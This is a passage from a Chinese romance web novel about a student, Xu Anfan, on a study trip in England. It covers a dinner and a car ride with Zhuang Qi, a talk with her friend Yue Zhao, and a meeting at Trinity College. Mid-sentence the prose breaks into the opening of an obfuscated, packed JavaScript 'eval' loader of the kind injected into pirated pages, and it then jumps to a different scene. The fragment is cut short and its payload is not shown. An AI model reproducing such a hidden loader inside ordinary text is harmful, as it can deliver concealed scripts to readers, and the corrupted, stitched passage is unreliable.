像一股轻盈的气体注入胸腔,心情峰回路转变得雀跃,许安繁回他说好。 放下手机,她起身打开衣柜,一件件打量过去,拿出自己觉得比较好看的几件,全都铺在了床上。 正纠结,她就听到陈晚在门外叫她:“安繁,能借我一下水壶烧水吗,我的好像坏了。” “我这有热水,刚烧的,你直接拿走就行。”许安繁说着,去给陈晚开了门。 陈晚走进来,无意间瞥见了许安繁床上层层叠叠的衣服:“不是周末才走,你这会儿就开始收拾行李了?” 许安繁说不是,陈晚便猜到了:“你明天要见人?” 不等许安繁答话,她就又往下猜了一步:“是庄启吗。” 许安繁“嗯”了声。 陈晚虽然想到了,但还是有些震惊:“你来真的啊?你不知道他什么人?” “我是……想谢谢他。”许安繁说。 陈晚看起来也不知道该说什么,半晌,她叹了口气:“你可别犯傻,咱们没几天就回去了,为他犯不上的。” 许安繁没解释什么,只是把水壶递给陈晚,说自己知道。 窗外暮色深沉,夜空中闪烁着细小的星星,有飞机掠过云层,发出遥远的轰鸣。 第二天傍晚,庄启跟许安繁要了她校舍的位置,说去附近接她。 许安繁比两人约定好的时间提前了十分钟下去,庄启还没有来,她便慢慢往外走,经过不远处的下沉广场时,帆布包的肩带被人从后面扯了一下。 她回过头,庄启就站她身后。 他松开手:“怎么不在楼下等?” “想出来散散步。”许安繁说。 庄启抬了下眉:“那我们走着去吃饭?不过我订的餐厅还挺远的。” 许安繁当了真,问他有多远。 庄启被她逗笑了:“我开玩笑的,车都开来了。” 他带许安繁经过广场走到街边,那台星灰色的阿斯顿马丁就停在路旁。 庄启打开车门让许安繁进去,自己坐上驾驶位,等她系好安全带就发动了车子,引擎像野兽一样发出低吼。 跑车提速时间短,庄启的车速也快,比限速低不了多少,虽然他开得熟练,看起来很享受这种风驰电掣的感觉,许安繁坐在车上却不由得有些紧张。 即将在路口转弯的时候,庄启朝她这边瞥了眼,许安繁不确定他是在看后视镜还是在看自己,直到他慢悠悠问了声:“害怕?” 许安繁不想在他面前显得胆小,逞强说还行。 “真还行啊?”庄启的语气微微顽劣。 许安繁刚点了下头,他就加了一脚油门,在入弯时又松开,大开大合地把方向盘打到底,车尾直接漂移过了弯,轮胎碾过地面,引发尖锐的摩擦声。 许安繁第一次看到有人这么开车,大脑直接空白,到弯道转完她才反应过来,心跳得剧烈。 她开口时嗓子发干:“……这样好危险。” “不是不怕么,”庄启边说边放缓了车速,“小朋友要诚实。” “庄启,”许安繁怕他再突然提速,求饶似地叫了一声他的名字,“你别开那么快行不行。” 她的怕劲儿还没缓过来,说话的时候嗓子也是软的,像撒娇。 庄启的指腹无意识地摩挲了一下方向盘,他余光里是女孩子柔白的侧脸,和长长的睫毛。 其实车速已经不快了,但他还是又松了下油门。 “不开那么快了。”他说。 像是为了让许安繁别那么怕,他又添了一句:“我有赛车驾照,不用紧张。” 十几分钟后他们到了地方,是个开在闹市区的小餐馆,面积中等,摆了十来张桌子。 两个人坐下以后,店员拿了菜单过来。 庄启没看,径直放到了许安繁面前:“这边海鲜不错。” 许安繁又听了一下店员的推荐,看着那张画满各种海洋生物的菜单,点了烤鱼和贝柱。 庄启加了几道菜,店员问他们要不要开瓶酒。 许安繁说不用,自己要苹果汁。 庄启听见,轻笑了声,戏谑道:“Doyoualsowantalollipop?” 听他问许安繁还要不要棒棒糖,店员也跟着笑了,许安繁的脸有点红,等对方收起菜单离开以后,她不满地对庄启道:“你干什么。” 他表情很无辜:“我怎么了。” 许安繁说:“你笑话我。” “没笑话你,”庄启一副懒洋洋的模样,“苹果汁多好,我导师上初中的女儿也喜欢。” 许安繁不想跟他说话了,反倒是庄启越说越有心情:“是吧,你俩算同龄人,都是十几岁。” “我十九岁了。”许安繁说。 上初中的十几岁跟她根本不是一回事。 但说完她就意识到,自己不该答得这么正经,每次她这样认真回应庄启的揶揄,他总是笑得更厉害。 庄启“哦”了声:“真厉害,都十九岁了。” 许安繁就知道他会这样,不打算继续这个话题给他调侃自己的机会,正好这时候上了第一道菜,狭长的白瓷盘里淋满奶油色的酱汁,里面依次放了四颗大小不一的贝柱,旁边配了一小块硬面包。 她用叉子叉了一颗,小心翼翼地尝了一口。 很软,也没有腥味,贝柱的绵密跟酱汁的香味融合得很好。 她埋头吃得很专注,中间庄启跟她讲话她都没有听见,抬起头的时候才发现他正盯着她。 许安繁猝不及防,咽下嘴里的食物,问他怎么了。 “我说你的苹果汁来了。”庄启说。 许安繁这才看到桌角多了一杯饮料。 她“唔”了声,庄启还是没有移开视线。 许安繁有点手足无措,直到他抬手,用修长的手指隔空点了点嘴角:“这里,沾上了。” 然后他抽了张纸给她。 许安繁迅速低下头擦干净,看到纸上有一点酱汁的痕迹,觉得有一点丢人。 偏偏庄启觉得有意思似的:“吃那么专心,话都听不见?” “这家好吃。”许安繁说。 庄启看许安繁喜欢贝柱,没跟她抢,把盘子推到她面前,然后替她把佐餐的面包切成小块,边切边说:“我刚到这边的时候,觉得东西都很难下咽,不过后来待久了,也找到几个还不错的地方,这里算一家,曼城那边还有家西班牙菜,要不是太远了这次可以带你去。” 他用刀的样子好看而从容,修长手指贴着银色刀刃,连带着那块面包也变得像艺术品。 等两个人吃完饭,许安繁叫来店员,正要从外套口袋里拿visa出来,庄启就已经用手机结了账。 许安繁愣了下:“不是说好我请你吗。” 庄启握着手机站起身,语气松散道:“先欠着。” 他的话让许安繁的眸光晃了晃。 她明白庄启只是随口一说,并不是真觉得两个人还会有什么更多的联系,让她有机会还这份人情。 但他能够这样讲,还是让她的心底泛起了浅浅的波澜。 仿佛这场异国的夏天还长得没有边际,无限好时光,等她去挥霍。 餐厅临着街,跟庄启停车的地方隔了一条马路和半个公园,英国的红绿灯是手动控制的,庄启按了一下,许安繁跟他一起等绿灯亮。 路上暂时没有机动车通行,几个当地的路人直接横穿了马路,许安繁来的这段时间已经对这种现象见怪不怪,但她从来都是规规矩矩地等。 很快交通灯转绿,许安繁往前走了几步,突然有一辆摩托从上个街口朝她冲过来,准备违反交规硬闯的样子。 摩托应该是经过改装的那类,发动机的声音非常大,许安繁吓了一跳,一下子就想起了在伦敦被抢走手机的那次。 她想要躲,但对方看起来准备绕过她,最终两个人朝向的是相同的方向,眼见着就要撞上,许安繁突然被庄启从后面拽了一把。 她踉跄着退了一步,后背撞进一个坚实的怀抱。 庄启握着许安繁的胳膊,带她退回了马路边的安全地带。 许安繁还没回神,就听到了头顶庄启安抚她的声音:“他不是飞车党。” 她下意识地朝后转过脸去看他,他也正好垂眸,从她的角度,可以清晰地看到他形状好看的眼睛,以及高挺的鼻梁线。 世界安静了一秒,路上的车声人声风声都一瞬间远去。 只剩他身上的气息。 隔着一层衣服,她感受到庄启的温热。 太近了。 近到只是对视都会让她呼吸不稳,她很难骗自己那只是因为方才横冲直撞的摩托车。 在她发怔的时分,绿灯已倏然转红,庄启放开许安繁,重新按了一次按钮。 夏夜的风让许安繁找回了知觉,她意识到自己的失态和不自然,清了清嗓子,若无其事地对庄启说:“我怕那个人是抢手机的,想离他远点儿。” 庄启扬扬眉:“看出来了,他应该也被你吓了一跳。” 许安繁抿了抿唇,伸手碰了一下被他握过的地方。 庄启注意到:“弄疼你了?” 许安繁摇头说没有,把手又放了下来。 其实是稍微有些痛的,他把她整个人拽回来毕竟用了力,只是为什么,她最先体会到的,不是那种疼。 回去的路还是来时那段,中途在经过某个车站的时候堵了一小会儿车,车站里灯火通明,沿街的地方开着一家花店,许安繁看到白色的柱形桶里放着没有卖完的粉色玫瑰。 也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为庄启她开始了解一支摇滚乐队,他一句话她就冒着大雨去河边寻找看不见的海鸥,他的每一个眼神每一个表情,都是勾住她衣角的蔷薇、引人沦陷的梦。 岳照很惊讶:“庄启?你后来又见到他了?” “见到好多次。”许安繁说。 她给岳照讲了和庄启的接触,岳照感叹了声:“看来他们说得没错,庄启学长确实很吸引人。” 然后她问:“那你打算怎么办。” 许安繁沉默了下,如实道:“也没什么能做的,我没几天就回国了,就算表白了也不会有结果。” 岳照许久没作声,就在许安繁以为她们这一段聊天就到此为止的时候,岳照说:“我明白。” 看不出语气的三个字,许安繁分辨不出那是真的懂得,还是只是安慰的意思。 但不管是哪种,都让她的心情舒缓了许多。 至少无论什么事情,都还可以跟岳照讲。 - 最后游学结束的音乐会定在周六,许安繁和同学回国前一天的晚上。 周五那天下午,带队的姚老师叫了几个人帮她布置场地,许安繁也在列,她下午过去的时候提前了十分钟,绕路去了三一学院。 那棵从牛顿家乡运来的苹果树仍旧十分沉静地站在学院入口侧边的草坪上,前方是来来往往的游客,身后是颜色斑驳的建筑楼。 临行前最后一次来这里,许安繁不由得放慢了脚步。 她望着苹果树愣神,在周围那么多匆匆打卡离开的人里,显得格格不入。 放在裤子口袋里的手机震了震,许安繁以为是姚老师又发了消息,拿出来看,却发现是庄启。 “抬头。” 她还以为自己看错了,然而四下张望一圈,竟真的在人潮里看到了庄启。 他穿了件藏蓝的卫衣,单肩吊了只黑书包,里面看起来没装多少东西,晃晃荡荡的。 庄启迈着两条长腿松松垮垮地走过来:“来找谁。” 许安繁说“没找谁”,又欲盖弥彰地加了句:“路过。” 庄启不肯放过她:“路过发那么久的呆。” 许安繁说:“这里好看。” “好看?”庄启假装端详了一番周围的人,故意曲解她的意思,“谁比我好看,我怎么没找到。” 许安繁正要说话,就有个人凑了上来:“我就系个鞋带的工夫,庄哥你就走了这么远啊。” 是唐策。 他一转头:“哟,原来是看见安繁妹妹了。” 许安繁同唐策打招呼,他应了一声,兴致勃勃地对庄启说:“哎,我刚瞅见艺术学院那谁在后面,就前几天舞会上老缠着你那姑娘。” 庄启看起来没什么印象:“谁?” “你怎么这都能忘,就身材特好从小学国标舞那个,我认识的哥们儿好多追过她,都没拿下。”唐策说。 庄启不感兴趣地“唔”了声,见唐策还站在原地没动,撩起眼皮看了他一眼:“你先过去。” 唐策没想到庄启会这么说似的,顿了下,视线挪到许安繁身上,意味深长地“哦”了声,然后说,那我走了啊,庄哥你也快点儿。 唐策离开后,许安繁问庄启:“你们是不是有安排?” “课题结项了,导师让我们去填表。”庄启说。 许安繁看他一副不着急的样子:“你不过去吗,唐策学长说让你抓紧。” 庄启没回答她的问题,反而似笑非笑地打量起她,语气很混:“怎么光喊他学长,从来也不叫我一声?”